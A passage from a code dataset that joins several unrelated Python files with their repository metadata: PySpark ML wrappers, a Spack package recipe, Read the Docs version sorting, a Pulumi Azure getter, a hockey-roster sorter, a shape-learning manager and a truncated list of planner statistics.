py_stage = py_type._from_java(java_stage) else: raise NotImplementedError( "This Java stage cannot be loaded into Python currently: %r" % stage_name ) return py_stage def copy(self: "JP", extra: Optional["ParamMap"] = None) -> "JP": """ Creates a copy of this instance with the same uid and some extra params. This implementation first calls Params.copy and then make a copy of the companion Java pipeline component with extra params. So both the Python wrapper and the Java pipeline component get copied. Parameters ---------- extra : dict, optional Extra parameters to copy to the new instance Returns ------- :py:class:`JavaParams` Copy of this instance """ if extra is None: extra = dict() that = super(JavaParams, self).copy(extra) if self._java_obj is not None: that._java_obj = self._java_obj.copy(self._empty_java_param_map()) that._transfer_params_to_java() return that def clear(self, param: Param) -> None: """ Clears a param from the param map if it has been explicitly set. """ assert self._java_obj is not None super(JavaParams, self).clear(param) java_param = self._java_obj.getParam(param.name) self._java_obj.clear(java_param) @inherit_doc class JavaEstimator(JavaParams, Estimator[JM], metaclass=ABCMeta): """ Base class for :py:class:`Estimator`s that wrap Java/Scala implementations. """ @abstractmethod def _create_model(self, java_model: "JavaObject") -> JM: """ Creates a model from the input Java model reference. """ raise NotImplementedError() def _fit_java(self, dataset: DataFrame) -> "JavaObject": """ Fits a Java model to the input dataset. Examples -------- dataset : :py:class:`pyspark.sql.DataFrame` input dataset Returns ------- py4j.java_gateway.JavaObject fitted Java model """ assert self._java_obj is not None self._transfer_params_to_java() return self._java_obj.fit(dataset._jdf) def _fit(self, dataset: DataFrame) -> JM: java_model = self._fit_java(dataset) model = self._create_model(java_model) return self._copyValues(model) @inherit_doc class JavaTransformer(JavaParams, Transformer, metaclass=ABCMeta): """ Base class for :py:class:`Transformer`s that wrap Java/Scala implementations. Subclasses should ensure they have the transformer Java object available as _java_obj. """ def _transform(self, dataset: DataFrame) -> DataFrame: assert self._java_obj is not None self._transfer_params_to_java() return DataFrame(self._java_obj.transform(dataset._jdf), dataset.sparkSession) @inherit_doc class JavaModel(JavaTransformer, Model, metaclass=ABCMeta): """ Base class for :py:class:`Model`s that wrap Java/Scala implementations. Subclasses should inherit this class before param mix-ins, because this sets the UID from the Java model. """ def __init__(self, java_model: Optional["JavaObject"] = None): """ Initialize this instance with a Java model object. Subclasses should call this constructor, initialize params, and then call _transfer_params_from_java. This instance can be instantiated without specifying java_model, it will be assigned after that, but this scenario only used by :py:class:`JavaMLReader` to load models. This is a bit of a hack, but it is easiest since a proper fix would require MLReader (in pyspark.ml.util) to depend on these wrappers, but these wrappers depend on pyspark.ml.util (both directly and via other ML classes). """ super(JavaModel, self).__init__(java_model) if java_model is not None: # SPARK-10931: This is a temporary fix to allow models to own params # from estimators. Eventually, these params should be in models through # using common base classes between estimators and models. self._create_params_from_java() self._resetUid(java_model.uid()) def __repr__(self) -> str: return self._call_java("toString") @inherit_doc class JavaPredictor(Predictor, JavaEstimator[JM], _PredictorParams, Generic[JM], metaclass=ABCMeta): """ (Private) Java Estimator for prediction tasks (regression and classification). """ pass @inherit_doc class JavaPredictionModel(PredictionModel[T], JavaModel, _PredictorParams): """ (Private) Java Model for prediction tasks (regression and classification). """ @property # type: ignore[misc] @since("2.1.0") def numFeatures(self) -> int: """ Returns the number of features the model was trained on. If unknown, returns -1 """ return self._call_java("numFeatures") @since("3.0.0") def predict(self, value: T) -> float: """ Predict label for the given features. """ return self._call_java("predict", value)

36.502155

100

0.635355

7f941fca30c1a0a3d5339d17399d5f6b02ee7591

1,648

py

Python

package/spack-makedepend/package.py

ctuning/ck-spack

307934efce1be2d4f104251275c82fbc70127105

[ "BSD-3-Clause" ]

1

2018-07-17T07:45:09.000Z

package/spack-makedepend/package.py

ctuning/ck-spack

307934efce1be2d4f104251275c82fbc70127105

[ "BSD-3-Clause" ]

null

package/spack-makedepend/package.py

ctuning/ck-spack

307934efce1be2d4f104251275c82fbc70127105

[ "BSD-3-Clause" ]

null

############################################################################## # Copyright (c) 2013-2018, Lawrence Livermore National Security, LLC. # Produced at the Lawrence Livermore National Laboratory. # # This file is part of Spack. # Created by Todd Gamblin, tgamblin@llnl.gov, All rights reserved. # LLNL-CODE-647188 # # For details, see https://github.com/spack/spack # Please also see the NOTICE and LICENSE files for our notice and the LGPL. # # This program is free software; you can redistribute it and/or modify # it under the terms of the GNU Lesser General Public License (as # published by the Free Software Foundation) version 2.1, February 1999. # # This program is distributed in the hope that it will be useful, but # WITHOUT ANY WARRANTY; without even the IMPLIED WARRANTY OF # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the terms and # conditions of the GNU Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA ############################################################################## from spack import * class Makedepend(AutotoolsPackage): """makedepend - create dependencies in makefiles.""" homepage = "http://cgit.freedesktop.org/xorg/util/makedepend" url = "https://www.x.org/archive/individual/util/makedepend-1.0.5.tar.gz" version('1.0.5', 'efb2d7c7e22840947863efaedc175747') depends_on('xproto@7.0.17:', type='build') depends_on('pkgconfig', type='build')

43.368421

82

0.677184

2a7cffa5bdde7eb035b96c0139d4982abce2f926

4,146

py

Python

readthedocs/projects/version_handling.py

nikhilgondane/RTD

f7926c45386f793f797f927363daed6a559a0a96

[ "MIT" ]

1

2021-02-23T23:32:35.000Z

readthedocs/projects/version_handling.py

nikhilgondane/RTD

f7926c45386f793f797f927363daed6a559a0a96

[ "MIT" ]

null

readthedocs/projects/version_handling.py

nikhilgondane/RTD

f7926c45386f793f797f927363daed6a559a0a96

[ "MIT" ]

6

2019-02-13T16:08:41.000Z

2020-03-12T14:17:14.000Z

# -*- coding: utf-8 -*- """Project version handling.""" from __future__ import ( absolute_import, division, print_function, unicode_literals) import unicodedata import six from packaging.version import InvalidVersion, Version from readthedocs.builds.constants import ( LATEST_VERBOSE_NAME, STABLE_VERBOSE_NAME, TAG) def parse_version_failsafe(version_string): """ Parse a version in string form and return Version object. If there is an error parsing the string, ``None`` is returned. :param version_string: version as string object (e.g. '3.10.1') :type version_string: str or unicode :returns: version object created from a string object :rtype: packaging.version.Version """ if not isinstance(version_string, six.text_type): uni_version = version_string.decode('utf-8') else: uni_version = version_string try: normalized_version = unicodedata.normalize('NFKD', uni_version) ascii_version = normalized_version.encode('ascii', 'ignore') final_form = ascii_version.decode('ascii') return Version(final_form) except (UnicodeError, InvalidVersion): return None def comparable_version(version_string): """ Can be used as ``key`` argument to ``sorted``. The ``LATEST`` version shall always beat other versions in comparison. ``STABLE`` should be listed second. If we cannot figure out the version number then we sort it to the bottom of the list. :param version_string: version as string object (e.g. '3.10.1' or 'latest') :type version_string: str or unicode :returns: a comparable version object (e.g. 'latest' -> Version('99999.0')) :rtype: packaging.version.Version """ comparable = parse_version_failsafe(version_string) if not comparable: if version_string == LATEST_VERBOSE_NAME: comparable = Version('99999.0') elif version_string == STABLE_VERBOSE_NAME: comparable = Version('9999.0') else: comparable = Version('0.01') return comparable def sort_versions(version_list): """ Take a list of Version models and return a sorted list. :param version_list: list of Version models :type version_list: list(readthedocs.builds.models.Version) :returns: sorted list in descending order (latest version first) of versions :rtype: list(tupe(readthedocs.builds.models.Version, packaging.version.Version)) """ versions = [] for version_obj in version_list: version_slug = version_obj.verbose_name comparable_version = parse_version_failsafe(version_slug) if comparable_version: versions.append((version_obj, comparable_version)) return list( sorted( versions, key=lambda version_info: version_info[1], reverse=True, )) def highest_version(version_list): """ Return the highest version for a given ``version_list``. :rtype: tupe(readthedocs.builds.models.Version, packaging.version.Version) """ versions = sort_versions(version_list) if versions: return versions[0] return (None, None) def determine_stable_version(version_list): """ Determine a stable version for version list. :param version_list: list of versions :type version_list: list(readthedocs.builds.models.Version) :returns: version considered the most recent stable one or ``None`` if there is no stable version in the list :rtype: readthedocs.builds.models.Version """ versions = sort_versions(version_list) versions = [(version_obj, comparable) for version_obj, comparable in versions if not comparable.is_prerelease] if versions: # We take preference for tags over branches. If we don't find any tag, # we just return the first branch found. for version_obj, comparable in versions: if version_obj.type == TAG: return version_obj version_obj, comparable = versions[0] return version_obj return None

30.940299

80

0.678003

e506913b0c22a84006e647058636fe08a7cb894b

1,178

py

Python

official/nlp/tasks/__init__.py

KiryanovKD/models

e17080247e3c9b3301680f61b8f4815c22509e7e

[ "Apache-2.0" ]

4

2019-11-02T14:47:46.000Z

2022-01-14T10:43:02.000Z

official/nlp/tasks/__init__.py

KiryanovKD/models

e17080247e3c9b3301680f61b8f4815c22509e7e

[ "Apache-2.0" ]

6

2021-10-05T18:53:55.000Z

2022-03-29T21:37:00.000Z

official/nlp/tasks/__init__.py

KiryanovKD/models

e17080247e3c9b3301680f61b8f4815c22509e7e

[ "Apache-2.0" ]

2

2021-11-30T21:50:03.000Z

2022-03-27T01:27:31.000Z

# Copyright 2021 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """TensorFlow Models NLP Tasks.""" # pylint: disable=g-multiple-import from official.nlp.tasks.electra_task import ElectraPretrainConfig, ElectraPretrainTask from official.nlp.tasks.masked_lm import MaskedLMConfig, MaskedLMTask from official.nlp.tasks.question_answering import QuestionAnsweringConfig, QuestionAnsweringTask from official.nlp.tasks.sentence_prediction import SentencePredictionConfig, SentencePredictionTask from official.nlp.tasks.tagging import TaggingConfig, TaggingTask from official.nlp.tasks.translation import TranslationConfig, TranslationTask

51.217391

99

0.816638

69ab7e50b0f60af7c79a4e1da9dafbfb7bd41af7

10,170

py

Python

sdk/python/pulumi_azure_native/compute/v20210701/get_virtual_machine_scale_set_vm_extension.py

polivbr/pulumi-azure-native

09571f3bf6bdc4f3621aabefd1ba6c0d4ecfb0e7

[ "Apache-2.0" ]

null

sdk/python/pulumi_azure_native/compute/v20210701/get_virtual_machine_scale_set_vm_extension.py

polivbr/pulumi-azure-native

09571f3bf6bdc4f3621aabefd1ba6c0d4ecfb0e7

[ "Apache-2.0" ]

null

sdk/python/pulumi_azure_native/compute/v20210701/get_virtual_machine_scale_set_vm_extension.py

polivbr/pulumi-azure-native

09571f3bf6bdc4f3621aabefd1ba6c0d4ecfb0e7

[ "Apache-2.0" ]

null

# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union, overload from ... import _utilities from . import outputs __all__ = [ 'GetVirtualMachineScaleSetVMExtensionResult', 'AwaitableGetVirtualMachineScaleSetVMExtensionResult', 'get_virtual_machine_scale_set_vm_extension', ] @pulumi.output_type class GetVirtualMachineScaleSetVMExtensionResult: """ Describes a VMSS VM Extension. """ def __init__(__self__, auto_upgrade_minor_version=None, enable_automatic_upgrade=None, force_update_tag=None, id=None, instance_view=None, name=None, protected_settings=None, provisioning_state=None, publisher=None, settings=None, suppress_failures=None, type=None, type_handler_version=None): if auto_upgrade_minor_version and not isinstance(auto_upgrade_minor_version, bool): raise TypeError("Expected argument 'auto_upgrade_minor_version' to be a bool") pulumi.set(__self__, "auto_upgrade_minor_version", auto_upgrade_minor_version) if enable_automatic_upgrade and not isinstance(enable_automatic_upgrade, bool): raise TypeError("Expected argument 'enable_automatic_upgrade' to be a bool") pulumi.set(__self__, "enable_automatic_upgrade", enable_automatic_upgrade) if force_update_tag and not isinstance(force_update_tag, str): raise TypeError("Expected argument 'force_update_tag' to be a str") pulumi.set(__self__, "force_update_tag", force_update_tag) if id and not isinstance(id, str): raise TypeError("Expected argument 'id' to be a str") pulumi.set(__self__, "id", id) if instance_view and not isinstance(instance_view, dict): raise TypeError("Expected argument 'instance_view' to be a dict") pulumi.set(__self__, "instance_view", instance_view) if name and not isinstance(name, str): raise TypeError("Expected argument 'name' to be a str") pulumi.set(__self__, "name", name) if protected_settings and not isinstance(protected_settings, dict): raise TypeError("Expected argument 'protected_settings' to be a dict") pulumi.set(__self__, "protected_settings", protected_settings) if provisioning_state and not isinstance(provisioning_state, str): raise TypeError("Expected argument 'provisioning_state' to be a str") pulumi.set(__self__, "provisioning_state", provisioning_state) if publisher and not isinstance(publisher, str): raise TypeError("Expected argument 'publisher' to be a str") pulumi.set(__self__, "publisher", publisher) if settings and not isinstance(settings, dict): raise TypeError("Expected argument 'settings' to be a dict") pulumi.set(__self__, "settings", settings) if suppress_failures and not isinstance(suppress_failures, bool): raise TypeError("Expected argument 'suppress_failures' to be a bool") pulumi.set(__self__, "suppress_failures", suppress_failures) if type and not isinstance(type, str): raise TypeError("Expected argument 'type' to be a str") pulumi.set(__self__, "type", type) if type_handler_version and not isinstance(type_handler_version, str): raise TypeError("Expected argument 'type_handler_version' to be a str") pulumi.set(__self__, "type_handler_version", type_handler_version) @property @pulumi.getter(name="autoUpgradeMinorVersion") def auto_upgrade_minor_version(self) -> Optional[bool]: """ Indicates whether the extension should use a newer minor version if one is available at deployment time. Once deployed, however, the extension will not upgrade minor versions unless redeployed, even with this property set to true. """ return pulumi.get(self, "auto_upgrade_minor_version") @property @pulumi.getter(name="enableAutomaticUpgrade") def enable_automatic_upgrade(self) -> Optional[bool]: """ Indicates whether the extension should be automatically upgraded by the platform if there is a newer version of the extension available. """ return pulumi.get(self, "enable_automatic_upgrade") @property @pulumi.getter(name="forceUpdateTag") def force_update_tag(self) -> Optional[str]: """ How the extension handler should be forced to update even if the extension configuration has not changed. """ return pulumi.get(self, "force_update_tag") @property @pulumi.getter def id(self) -> str: """ Resource Id """ return pulumi.get(self, "id") @property @pulumi.getter(name="instanceView") def instance_view(self) -> Optional['outputs.VirtualMachineExtensionInstanceViewResponse']: """ The virtual machine extension instance view. """ return pulumi.get(self, "instance_view") @property @pulumi.getter def name(self) -> str: """ The name of the extension. """ return pulumi.get(self, "name") @property @pulumi.getter(name="protectedSettings") def protected_settings(self) -> Optional[Any]: """ The extension can contain either protectedSettings or protectedSettingsFromKeyVault or no protected settings at all. """ return pulumi.get(self, "protected_settings") @property @pulumi.getter(name="provisioningState") def provisioning_state(self) -> str: """ The provisioning state, which only appears in the response. """ return pulumi.get(self, "provisioning_state") @property @pulumi.getter def publisher(self) -> Optional[str]: """ The name of the extension handler publisher. """ return pulumi.get(self, "publisher") @property @pulumi.getter def settings(self) -> Optional[Any]: """ Json formatted public settings for the extension. """ return pulumi.get(self, "settings") @property @pulumi.getter(name="suppressFailures") def suppress_failures(self) -> Optional[bool]: """ Indicates whether failures stemming from the extension will be suppressed (Operational failures such as not connecting to the VM will not be suppressed regardless of this value). The default is false. """ return pulumi.get(self, "suppress_failures") @property @pulumi.getter def type(self) -> str: """ Resource type """ return pulumi.get(self, "type") @property @pulumi.getter(name="typeHandlerVersion") def type_handler_version(self) -> Optional[str]: """ Specifies the version of the script handler. """ return pulumi.get(self, "type_handler_version") class AwaitableGetVirtualMachineScaleSetVMExtensionResult(GetVirtualMachineScaleSetVMExtensionResult): # pylint: disable=using-constant-test def __await__(self): if False: yield self return GetVirtualMachineScaleSetVMExtensionResult( auto_upgrade_minor_version=self.auto_upgrade_minor_version, enable_automatic_upgrade=self.enable_automatic_upgrade, force_update_tag=self.force_update_tag, id=self.id, instance_view=self.instance_view, name=self.name, protected_settings=self.protected_settings, provisioning_state=self.provisioning_state, publisher=self.publisher, settings=self.settings, suppress_failures=self.suppress_failures, type=self.type, type_handler_version=self.type_handler_version) def get_virtual_machine_scale_set_vm_extension(expand: Optional[str] = None, instance_id: Optional[str] = None, resource_group_name: Optional[str] = None, vm_extension_name: Optional[str] = None, vm_scale_set_name: Optional[str] = None, opts: Optional[pulumi.InvokeOptions] = None) -> AwaitableGetVirtualMachineScaleSetVMExtensionResult: """ Describes a VMSS VM Extension. :param str expand: The expand expression to apply on the operation. :param str instance_id: The instance ID of the virtual machine. :param str resource_group_name: The name of the resource group. :param str vm_extension_name: The name of the virtual machine extension. :param str vm_scale_set_name: The name of the VM scale set. """ __args__ = dict() __args__['expand'] = expand __args__['instanceId'] = instance_id __args__['resourceGroupName'] = resource_group_name __args__['vmExtensionName'] = vm_extension_name __args__['vmScaleSetName'] = vm_scale_set_name if opts is None: opts = pulumi.InvokeOptions() if opts.version is None: opts.version = _utilities.get_version() __ret__ = pulumi.runtime.invoke('azure-native:compute/v20210701:getVirtualMachineScaleSetVMExtension', __args__, opts=opts, typ=GetVirtualMachineScaleSetVMExtensionResult).value return AwaitableGetVirtualMachineScaleSetVMExtensionResult( auto_upgrade_minor_version=__ret__.auto_upgrade_minor_version, enable_automatic_upgrade=__ret__.enable_automatic_upgrade, force_update_tag=__ret__.force_update_tag, id=__ret__.id, instance_view=__ret__.instance_view, name=__ret__.name, protected_settings=__ret__.protected_settings, provisioning_state=__ret__.provisioning_state, publisher=__ret__.publisher, settings=__ret__.settings, suppress_failures=__ret__.suppress_failures, type=__ret__.type, type_handler_version=__ret__.type_handler_version)

43.836207

297

0.682104

83859def4b5902c74a467c5a41907327a46060b4

1,931

py

Python

app/sortPlayers.py

velociraptordino/CapitalsProject

bfbaeafd81b8a89dba0e992ec54e3e2b314b30e3

[ "MIT" ]

null

app/sortPlayers.py

velociraptordino/CapitalsProject

bfbaeafd81b8a89dba0e992ec54e3e2b314b30e3

[ "MIT" ]

1

2021-06-02T00:46:48.000Z

app/sortPlayers.py

velociraptordino/CapitalsProject

bfbaeafd81b8a89dba0e992ec54e3e2b314b30e3

[ "MIT" ]

null

""" File: sort.py Editor: Tiffany Nguyen Date: December 7, 2019 Section: 01 Email: tn4@umbc.edu Description: This file contains the function getPlayers() which reads in the player database into a list data structure and returns it Program Assumptions: - Data including first name, last name, special, number, position, shoots, height, and weight are stored in a database for the roster for all of the 2019 players. """ DEFENSE_POSITION = "D" GOALIE_POSITION = "G" from app.model import Player def getPlayers(): ''' goes through the soup and stores individual players' data in a dictionary; the dictionaries are all stored in a list : param: None : return: playerDictionary; dictionary formatted as follows: { “offense”: [ [player-1-info] , . . . , [player-n-info] ], “defense”: [ [player-1-info] , . . . , [player-n-info] ], goalies”: [ [player-1-info] , . . . , [player-n-info] ] } Preconditions: database with player information has already been created Postconditions: a dictionary of containing players grouped by position is returned ''' # query database for all players players = Player.query.all() # initalize player dictionary playerDictionary = {"offense": [], "defense": [], "goalies": []} for player in players: # store player's data into a list playerData = [player.firstName, player.lastName, player.special,\ player.number,player.position, player.shoots, \ player.height, player.weight] # add the player's data to the appropriate list based on their position if player.position == DEFENSE_POSITION: playerDictionary["defense"].append(playerData) elif player.position == GOALIE_POSITION: playerDictionary["goalies"].append(playerData) else: playerDictionary["offense"].append(playerData) return playerDictionary

37.134615

79

0.673744

208415751659cccaa6d79590ae25cc890a35ae86

12,244

py

Python

src/shape_learning/shape_learner_manager.py

chili-epfl/shape_learning

dbebefce21f25a8ab5fa3525e463e53bbc5d65f2

[ "ISC" ]

2

2015-04-23T18:38:33.000Z

2015-05-02T21:31:56.000Z

src/shape_learning/shape_learner_manager.py

chili-epfl/shape_learning

dbebefce21f25a8ab5fa3525e463e53bbc5d65f2

[ "ISC" ]

null

src/shape_learning/shape_learner_manager.py

chili-epfl/shape_learning

dbebefce21f25a8ab5fa3525e463e53bbc5d65f2

[ "ISC" ]

4

2015-01-12T12:52:54.000Z

2018-07-05T01:22:03.000Z

#!/usr/bin/env python """ Manages a collection of shape_learners, with long-term memory about the history of previous collections seen. An example is managing shape_learners which represent letters, and the collections represent words. """ import logging; shapeLogger = logging.getLogger("shape_logger") import os.path from shape_learning.shape_learner import ShapeLearner from recordtype import recordtype # for mutable namedtuple (dict might also work) boundExpandingAmount = 0. usePrevParamsWhenShapeReappears = True Shape = recordtype('Shape', [('path', None), ('shapeID', None), ('shapeType', None), ('shapeType_code', None), ('paramsToVary', None), ('paramValues', None)]) def configure_logging(path): if path: if os.path.isdir(path): path = os.path.join(path, "shapes.log") handler = logging.FileHandler(path) handler.setLevel(logging.DEBUG) formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') handler.setFormatter(formatter) else: handler = logging.NullHandler() shapeLogger.addHandler(handler) shapeLogger.setLevel(logging.DEBUG) # ##--------------------------------------------- WORD LEARNING FUNCTIONS class ShapeLearnerManager: def __init__(self, generateSettingsFunction, shapes_logging_path = "shapes.log"): configure_logging(shapes_logging_path) shapeLogger.info("**************** NEW SESSION ***************") self.generateSettings = generateSettingsFunction self.shapesLearnt = [] self.shapeLearners_all = [] self.shapeLearners_currentCollection = [] self.settings_shapeLearners_all = [] self.settings_shapeLearners_currentCollection = [] self.shapeLearnersSeenBefore_currentCollection = [] self.currentCollection = "" self.collectionsLearnt = [] self.nextShapeLearnerToBeStarted = 0 def initialiseShapeLearners(self): self.shapeLearners_currentCollection = [] self.settings_shapeLearners_currentCollection = [] self.shapeLearnersSeenBefore_currentCollection = [] for i in range(len(self.currentCollection)): shapeType = self.currentCollection[i] #check if shape has been learnt before try: shapeType_index = self.shapesLearnt.index(shapeType) newShape = False except ValueError: newShape = True self.shapeLearnersSeenBefore_currentCollection.append(not newShape) if (newShape): settings = self.generateSettings(shapeType) shapeLearner = ShapeLearner(settings) self.shapesLearnt.append(shapeType) self.shapeLearners_all.append(shapeLearner) self.settings_shapeLearners_all.append(settings) self.shapeLearners_currentCollection.append(self.shapeLearners_all[-1]) self.settings_shapeLearners_currentCollection.append(self.settings_shapeLearners_all[-1]) else: #use the bounds determined last time previousBounds = self.shapeLearners_all[shapeType_index].getParameterBounds() newInitialBounds = previousBounds newInitialBounds[0, 0] -= boundExpandingAmount; #USE ONLY FIRST PARAM FOR SELF-LEARNING ALGORITHM ATM newInitialBounds[0, 1] += boundExpandingAmount; #USE ONLY FIRST PARAM FOR SELF-LEARNING ALGORITHM ATM self.shapeLearners_all[shapeType_index].setParameterBounds(newInitialBounds) self.shapeLearners_currentCollection.append(self.shapeLearners_all[shapeType_index]) self.settings_shapeLearners_currentCollection.append(self.settings_shapeLearners_all[shapeType_index]) def startNextShapeLearner(self): #start learning if ( self.nextShapeLearnerToBeStarted < len(self.currentCollection) ): shapeType = self.currentCollection[self.nextShapeLearnerToBeStarted] shapeType_code = self.nextShapeLearnerToBeStarted shape_index = self.indexOfShapeInCurrentCollection(shapeType) if usePrevParamsWhenShapeReappears \ and self.shapeLearnersSeenBefore_currentCollection[self.nextShapeLearnerToBeStarted]: #shape has been seen before [path, paramValues] = self.shapeLearners_currentCollection[shape_index].getLearnedShape() shapeLogger.info("%s: continuing learning. Current params: %s. Path: %s" % (shapeType, paramValues.flatten().tolist(), path.flatten().tolist())) else: [path, paramValues] = self.shapeLearners_currentCollection[shape_index].startLearning() shapeLogger.info("%s: starting learning. Initial params: %s. Path: %s" % (shapeType, paramValues.flatten().tolist(), path.flatten().tolist())) paramsToVary = self.settings_shapeLearners_currentCollection[shape_index].paramsToVary self.nextShapeLearnerToBeStarted += 1 shape = Shape(path=path, shapeID=0, shapeType=shapeType, shapeType_code=shapeType_code, paramsToVary=paramsToVary, paramValues=paramValues) return shape else: raise RuntimeError('Don\'t know what shape learner you want me to start...') def feedbackManager(self, shapeIndex_messageFor, bestShape_index, noNewShape): shape_messageFor = self.shapeAtIndexInCurrentCollection(shapeIndex_messageFor) if (shape_messageFor < 0 ): shapeLogger.warning('Ignoring message because not for valid shape type') return -1 else: if (noNewShape): #just respond to feedback, don't make new shape self.shapeLearners_currentCollection[shapeIndex_messageFor].respondToFeedback(bestShape_index) return 1 else: [numItersConverged, newPath, newParamValues] = self.shapeLearners_currentCollection[ shapeIndex_messageFor].generateNewShapeGivenFeedback(bestShape_index) paramsToVary = self.settings_shapeLearners_currentCollection[shapeIndex_messageFor].paramsToVary shape = Shape(path=newPath, shapeID=[], shapeType=shape_messageFor, shapeType_code=shapeIndex_messageFor, paramsToVary=paramsToVary, paramValues=newParamValues) return numItersConverged, shape def respondToDemonstration(self, shapeIndex_messageFor, shape): shape_messageFor = self.shapeAtIndexInAllShapesLearnt(shapeIndex_messageFor) if (shape_messageFor < 0 ): shapeLogger.warning('Ignoring demonstration because not for valid shape type') return -1 else: newPath, newParamValues, params_demo = self.shapeLearners_currentCollection[shapeIndex_messageFor].respondToDemonstration(shape) shapeLogger.info("%s: new demonstration. Params: %s. Path: %s" % (shape_messageFor, params_demo.flatten().tolist(), shape.flatten().tolist())) paramsToVary = self.settings_shapeLearners_currentCollection[shapeIndex_messageFor].paramsToVary shape = Shape(path=newPath, shapeID=[], shapeType=shape_messageFor, shapeType_code=shapeIndex_messageFor, paramsToVary=paramsToVary, paramValues=newParamValues) shapeLogger.info("%s: new generated model. Params: %s. Path: %s" % (shape_messageFor, newParamValues.flatten().tolist(), newPath.flatten().tolist())) return shape def indexOfShapeInCurrentCollection(self, shapeType): try: shapeType_index = self.currentCollection.index(shapeType) except ValueError: #unknown shape shapeType_index = -1 return shapeType_index def indexOfShapeInAllShapesLearnt(self, shapeType): try: shapeType_index = self.shapesLearnt.index(shapeType) except ValueError: #unknown shape shapeType_index = -1 return shapeType_index def shapeAtIndexInCurrentCollection(self, shapeType_index): try: shapeType = self.currentCollection[shapeType_index] except ValueError: #unknown shape shapeType = -1 return shapeType def shapeAtIndexInAllShapesLearnt(self, shapeType_index): try: shapeType = self.shapesLearnt[shapeType_index] except ValueError: #unknown shape shapeType = -1 return shapeType def shapesOfCurrentCollection(self): shapes = [] for idx, shape_learner in enumerate(self.shapeLearners_currentCollection): path, paramValues = shape_learner.getLearnedShape() paramsToVary = shape_learner.paramsToVary shapeName = self.shapeAtIndexInCurrentCollection(idx) code = self.indexOfShapeInAllShapesLearnt(shapeName) shape = Shape(path=path, shapeID=[], shapeType=shapeName, shapeType_code=code, paramsToVary=paramsToVary, paramValues=paramValues) shapes.append(shape) return shapes def newCollection(self, collection): self.currentCollection = "" # check, for each letter, that we have the corresponding dataset for l in collection: try: self.generateSettings(l) except RuntimeError: # no dataset for this letter! shapeLogger.error("No dataset available for letter <%s>. Skipping this letter." % l) continue self.currentCollection += l self.nextShapeLearnerToBeStarted = 0 shapeLogger.info("Starting to work on word <%s>" % collection) try: self.collectionsLearnt.index(self.currentCollection) collectionSeenBefore = True except ValueError: collectionSeenBefore = False self.collectionsLearnt.append(self.currentCollection) self.initialiseShapeLearners() return collectionSeenBefore def resetParameterBounds(self, shapeType_index): currentBounds = self.shapeLearners_currentCollection[shapeType_index].getParameterBounds() #change bounds back to the initial ones newBounds = self.shapeLearners_currentCollection[shapeType_index].initialBounds self.shapeLearners_currentCollection[shapeType_index].setParameterBounds(newBounds) shapeLogger.debug('Changing bounds on shape ' + self.shapeAtIndexInCurrentCollection(shapeType_index) + ' from ' + str( currentBounds) + ' to ' + str(newBounds)) def generateSimulatedFeedback(self, shapeType_index, newShape, newParamValue): return self.shapeLearners_currentCollection[shapeType_index].generateSimulatedFeedback(newShape, newParamValue) def save_all(self, shapeIndex_messageFor): shape_messageFor = self.shapeAtIndexInAllShapesLearnt(shapeIndex_messageFor) if (shape_messageFor < 0): shapeLogger.warning('Ignoring demonstration because not for valid shape type') return -1 else: self.shapeLearners_currentCollection[shapeIndex_messageFor].save_all() def save_demo(self, shapeIndex_messageFor): shape_messageFor = self.shapeAtIndexInAllShapesLearnt(shapeIndex_messageFor) if (shape_messageFor < 0): shapeLogger.warning('Ignoring demonstration because not for valid shape type') return -1 else: self.shapeLearners_currentCollection[shapeIndex_messageFor].save_demo() def save_params(self, shapeIndex_messageFor): shape_messageFor = self.shapeAtIndexInAllShapesLearnt(shapeIndex_messageFor) if (shape_messageFor < 0): shapeLogger.warning('Ignoring demonstration because not for valid shape type') return -1 else: self.shapeLearners_currentCollection[shapeIndex_messageFor].save_params()

45.857678

167

0.669797

0107de134100c76d2b0ef4d22f40669dbeb4ff06

11,276

py

Python

scenegraph/exp-official/taskographyv2medium1_DecStar-agl-fb/taskographyv2medium1_DecStar-agl-fb_test.py

taskography/3dscenegraph-dev

2c261241230fbea1f1c687ff793478248f25c02c

[ "MIT" ]

1

2022-01-30T22:06:57.000Z

scenegraph/exp-official/taskographyv2medium1_DecStar-agl-fb/taskographyv2medium1_DecStar-agl-fb_test.py

taskography/3dscenegraph-dev

2c261241230fbea1f1c687ff793478248f25c02c

[ "MIT" ]

null

scenegraph/exp-official/taskographyv2medium1_DecStar-agl-fb/taskographyv2medium1_DecStar-agl-fb_test.py

taskography/3dscenegraph-dev

2c261241230fbea1f1c687ff793478248f25c02c

[ "MIT" ]

null

STATS = [ { "num_node_expansions": 24, "plan_cost": 20, "plan_length": 20, "search_time": 0.8, "total_time": 1.81 }, { "num_node_expansions": 22, "plan_cost": 18, "plan_length": 18, "search_time": 0.73, "total_time": 1.72 }, { "num_node_expansions": 19, "plan_cost": 17, "plan_length": 17, "search_time": 0.59, "total_time": 1.54 }, { "num_node_expansions": 15, "plan_cost": 12, "plan_length": 12, "search_time": 0.54, "total_time": 1.29 }, { "num_node_expansions": 18, "plan_cost": 15, "plan_length": 15, "search_time": 0.75, "total_time": 1.67 }, { "num_node_expansions": 12, "plan_cost": 10, "plan_length": 10, "search_time": 0.87, "total_time": 1.86 }, { "num_node_expansions": 18, "plan_cost": 16, "plan_length": 16, "search_time": 1.27, "total_time": 3.09 }, { "num_node_expansions": 15, "plan_cost": 13, "plan_length": 13, "search_time": 1.36, "total_time": 3.6 }, { "num_node_expansions": 27, "plan_cost": 23, "plan_length": 23, "search_time": 0.68, "total_time": 1.74 }, { "num_node_expansions": 31, "plan_cost": 27, "plan_length": 27, "search_time": 0.61, "total_time": 1.27 }, { "num_node_expansions": 28, "plan_cost": 24, "plan_length": 24, "search_time": 0.94, "total_time": 2.6 }, { 